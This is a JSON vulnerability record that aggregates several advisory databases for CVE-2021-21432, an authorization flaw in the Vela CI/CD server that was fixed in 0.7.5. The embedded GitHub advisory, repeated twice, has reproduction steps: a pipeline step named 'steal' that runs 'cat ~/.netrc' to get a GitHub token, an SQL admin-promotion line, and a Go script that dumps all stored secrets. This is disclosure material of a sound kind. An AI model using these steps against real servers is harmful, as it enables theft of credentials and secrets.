{"id":"CVE-2021-21432","aliases":["EUVD-2022-0920","GHSA-8j3f-mhq8-gmh4","GO-2022-0812"],"status":"published","title":"Reject unauthorized access with GitHub PATs","description":"Vela is a Pipeline Automation (CI/CD) framework built on Linux container technology written in Golang. An authentication mechanism added in version 0.7.0 enables some malicious user to obtain secrets utilizing the injected credentials within the `~/.netrc` file. Refer to the referenced GitHub Security Advisory for complete details. This is fixed in version 0.7.5.","severity":{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:A/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:L","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.00986,"percentile":0.62818,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-285","CWE-862","CWE-863"],"published":"2021-04-09T18:10:14Z","modified":"2026-10-20T10:54:29Z","fixes":[{"ecosystem":"Go","package":"github.com/go-vela/server","fixed_in":["0.7.5"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"Go","package":"github.com/go-vela/server","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.7.0"},{"fixed":"0.7.5"}]}]},{"source":"osv","ecosystem":"Go","package":"github.com/go-vela/server","ranges":[{"type":"SEMVER","events":[{"introduced":"0.7.0"},{"fixed":"0.7.5"}]}]},{"source":"osv","ecosystem":"Go","package":"github.com/go-vela/server","ranges":[{"type":"SEMVER","events":[{"introduced":"0.7.0"},{"fixed":"0.7.5"}]}]}],"products":[{"vendor":"devolutions","product":"server"},{"vendor":"go-vela","product":"server"},{"vendor":"go-vela","product":"vela"}],"references":[{"url":"https://github.com/go-vela/server/security/advisories/GHSA-8j3f-mhq8-gmh4","tags":["x_refsource_CONFIRM","x_transferred","Third Party Advisory","advisory","web"]},{"url":"https://pkg.go.dev/github.com/go-vela/server","tags":["x_refsource_MISC","x_transferred","Release Notes","Third Party Advisory","advisory","web"]},{"url":"https://github.com/go-vela/server/releases/tag/v0.7.5","tags":["x_refsource_MISC","x_transferred","Release Notes","Third Party Advisory","advisory","web"]},{"url":"https://github.com/go-vela/server/pull/337","tags":["x_refsource_MISC","x_transferred","Patch","Third Party Advisory","fix","web"]},{"url":"https://github.com/go-vela/server/commit/cb4352918b8ecace9fe969b90404d337b0744d46","tags":["x_refsource_MISC","x_transferred","Patch","Third Party Advisory","fix","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2021-21432","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-8j3f-mhq8-gmh4"},{"url":"https://github.com/go-vela/server","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2021-21432","title":"Reject unauthorized access with GitHub PATs","description":"Vela is a Pipeline Automation (CI/CD) framework built on Linux container technology written in Golang. An authentication mechanism added in version 0.7.0 enables some malicious user to obtain secrets utilizing the injected credentials within the `~/.netrc` file. Refer to the referenced GitHub Security Advisory for complete details. This is fixed in version 0.7.5.","status":"published","published":"2021-04-09T18:10:14Z","modified":"2024-08-03T18:16:22.403Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:A/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:L","level":"high","assessor":"cna"}],"cwes":["CWE-285"],"updated_at":"2026-11-02T14:33:00.137099Z"}],"euvd":[{"id":"EUVD-2022-0920","description":"Vela is a Pipeline Automation (CI/CD) framework built on Linux container technology written in Golang. An authentication mechanism added in version 0.7.0 enables some malicious user to obtain secrets utilizing the injected credentials within the `~/.netrc` file. Refer to the referenced GitHub Security Advisory for complete details. This is fixed in version 0.7.5.","status":"published","published":"2021-04-09T18:10:14Z","modified":"2024-08-03T18:16:22Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:A/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:L","level":"high"}],"updated_at":"2026-11-03T03:25:05.745586Z"}],"ghsa":[{"id":"GHSA-8j3f-mhq8-gmh4","title":"Reject unauthorized access with GitHub PATs","description":"### Impact\n_What kind of vulnerability is it? Who is impacted?_\n\nThe additional auth mechanism added within https://github.com/go-vela/server/pull/246 enables some malicious user to obtain secrets utilizing the injected credentials within the `~/.netrc` file. Steps to reproduce\n\n1. Create Vela server\n2. Login to Vela UI\n3. Promote yourself to Vela administrator \n    - `UPDATE users SET admin = 't' WHERE name = \u003cusername\u003e`\n4. Activate repository within Vela\n5. Add `.vela.yml` to the repository with the following content\n\n    \n    ```yaml\n    version: \"1\"\n    \n    steps:\n    - name: steal\n      image: alpine\n      commands:\n        - cat ~/.netrc\n    ```\n\n1. Look at build logs to find the following content\n\n    ```\n    $ cat ~/.netrc\n    machine \u003cGITHUB URL\u003e\n    login x-oauth-basic\n    password \u003ctoken\u003e\n    ```\n\n1. Copy the password to be utilized in some later step\n1. Add secret(s) to activated repo\n1. Copy the following script into `main.go`\n\n    ```golang\n    package main\n    \n    import (\n\t    \"fmt\"\n\t    \"github.com/go-vela/sdk-go/vela\"\n\t    \"os\"\n    )\n    \n    func main() {\n\t    // create client to connect to vela\n\t    client, err := vela.NewClient(os.Getenv(\"VELA_SERVER_ADDR\"), \"vela\", nil)\n\t    if err != nil {\n\t\t    panic(err)\n\t    }\n    \n\t    // add PAT to request\n\t    client.Authentication.SetPersonalAccessTokenAuth(os.Getenv(\"VELA_TOKEN\"))\n    \n    \n\t    secrets, _, err := client.Admin.Secret.GetAll(\u0026vela.ListOptions{})\n\t    if err != nil {\n\t\t    panic(err)\n\t    }\n    \n\t    for _, secret := range *secrets {\n\t\t    fmt.Println(*secret.Name)\n\t\t    fmt.Println(*secret.Value)\n\t    }\n    }\n    ```\n\n1. Run the `main.go` with environment specific settings\n   - `VELA_SERVER_ADDR=http://localhost:8080 VELA_TOKEN=\u003ctoken obtained previously\u003e go run main.go`\n\nThe previously posted script could be updated to utilize any API endpoint(s) the activated user has access against.\n\n### Patches\n_Has the problem been patched? What versions should users upgrade to?_\n\n* Upgrade to `v0.7.5` or later\n\n### Workarounds\n_Is there a way for users to fix or remediate the vulnerability without upgrading?_\n\n* No known workarounds\n\n### References\n_Are there any links users can visit to find out more?_\n\n* https://github.com/go-vela/server/pull/246\n* https://docs.github.com/en/enterprise-server@3.0/rest/reference/apps#check-a-token\n\n### For more information\nIf you have any questions or comments about this advisory\n\n* Email us at [vela@target.com](mailto:vela@target.com)","status":"published","published":"2022-02-15T01:57:18Z","modified":"2023-10-02T13:09:30Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:A/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:L","level":"high"}],"cwes":["CWE-285","CWE-862","CWE-863"],"updated_at":"2026-11-02T14:37:07.641671Z"}],"nvd":[{"id":"CVE-2021-21432","description":"Vela is a Pipeline Automation (CI/CD) framework built on Linux container technology written in Golang. An authentication mechanism added in version 0.7.0 enables some malicious user to obtain secrets utilizing the injected credentials within the `~/.netrc` file. Refer to the referenced GitHub Security Advisory for complete details. This is fixed in version 0.7.5.","status":"published","published":"2021-04-09T18:15:13.583Z","modified":"2026-06-17T03:35:33.89Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:A/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:L","level":"high","assessor":"secondary"},{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N","level":"medium","assessor":"primary"},{"version":"2.0","score":3.5,"vector":"AV:N/AC:M/Au:S/C:P/I:N/A:N","level":"low","assessor":"primary"}],"cwes":["CWE-285","CWE-862"],"updated_at":"2026-11-02T14:06:51.610648Z"}],"osv":[{"id":"CVE-2021-21432","description":"Vela is a Pipeline Automation (CI/CD) framework built on Linux container technology written in Golang. An authentication mechanism added in version 0.7.0 enables some malicious user to obtain secrets utilizing the injected credentials within the `~/.netrc` file. Refer to the referenced GitHub Security Advisory for complete details. This is fixed in version 0.7.5.","status":"published","published":"2021-04-09T18:15:13.583Z","modified":"2026-10-20T10:54:29.71213209Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N","level":"medium"}],"updated_at":"2026-11-02T15:44:18.004149Z"},{"id":"GHSA-8j3f-mhq8-gmh4","title":"Reject unauthorized access with GitHub PATs","description":"### Impact\n_What kind of vulnerability is it? Who is impacted?_\n\nThe additional auth mechanism added within https://github.com/go-vela/server/pull/246 enables some malicious user to obtain secrets utilizing the injected credentials within the `~/.netrc` file. Steps to reproduce\n\n1. Create Vela server\n2. Login to Vela UI\n3. Promote yourself to Vela administrator \n    - `UPDATE users SET admin = 't' WHERE name = \u003cusername\u003e`\n4. Activate repository within Vela\n5. Add `.vela.yml` to the repository with the following content\n\n    \n    ```yaml\n    version: \"1\"\n    \n    steps:\n    - name: steal\n      image: alpine\n      commands:\n        - cat ~/.netrc\n    ```\n\n1. Look at build logs to find the following content\n\n    ```\n    $ cat ~/.netrc\n    machine \u003cGITHUB URL\u003e\n    login x-oauth-basic\n    password \u003ctoken\u003e\n    ```\n\n1. Copy the password to be utilized in some later step\n1. Add secret(s) to activated repo\n1. Copy the following script into `main.go`\n\n    ```golang\n    package main\n    \n    import (\n\t    \"fmt\"\n\t    \"github.com/go-vela/sdk-go/vela\"\n\t    \"os\"\n    )\n    \n    func main() {\n\t    // create client to connect to vela\n\t    client, err := vela.NewClient(os.Getenv(\"VELA_SERVER_ADDR\"), \"vela\", nil)\n\t    if err != nil {\n\t\t    panic(err)\n\t    }\n    \n\t    // add PAT to request\n\t    client.Authentication.SetPersonalAccessTokenAuth(os.Getenv(\"VELA_TOKEN\"))\n    \n    \n\t    secrets, _, err := client.Admin.Secret.GetAll(\u0026vela.ListOptions{})\n\t    if err != nil {\n\t\t    panic(err)\n\t    }\n    \n\t    for _, secret := range *secrets {\n\t\t    fmt.Println(*secret.Name)\n\t\t    fmt.Println(*secret.Value)\n\t    }\n    }\n    ```\n\n1. Run the `main.go` with environment specific settings\n   - `VELA_SERVER_ADDR=http://localhost:8080 VELA_TOKEN=\u003ctoken obtained previously\u003e go run main.go`\n\nThe previously posted script could be updated to utilize any API endpoint(s) the activated user has access against.\n\n### Patches\n_Has the problem been patched? What versions should users upgrade to?_\n\n* Upgrade to `v0.7.5` or later\n\n### Workarounds\n_Is there a way for users to fix or remediate the vulnerability without upgrading?_\n\n* No known workarounds\n\n### References\n_Are there any links users can visit to find out more?_\n\n* https://github.com/go-vela/server/pull/246\n* https://docs.github.com/en/enterprise-server@3.0/rest/reference/apps#check-a-token\n\n### For more information\nIf you have any questions or comments about this advisory\n\n* Email us at [vela@target.com](mailto:vela@target.com)","status":"published","published":"2022-02-15T01:57:18Z","modified":"2026-07-08T06:28:18.179772555Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:A/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:L","level":"high"}],"cwes":["CWE-285","CWE-862","CWE-863"],"updated_at":"2026-11-02T15:46:42.437513Z"},{"id":"GO-2022-0812","title":"Reject unauthorized access with GitHub PATs in github.com/go-vela/server","description":"Reject unauthorized access with GitHub PATs in github.com/go-vela/server","status":"published","published":"2024-08-21T15:29:02Z","modified":"2026-03-03T04:50:56.364755Z","updated_at":"2026-11-02T15:47:00.918515Z"}]}}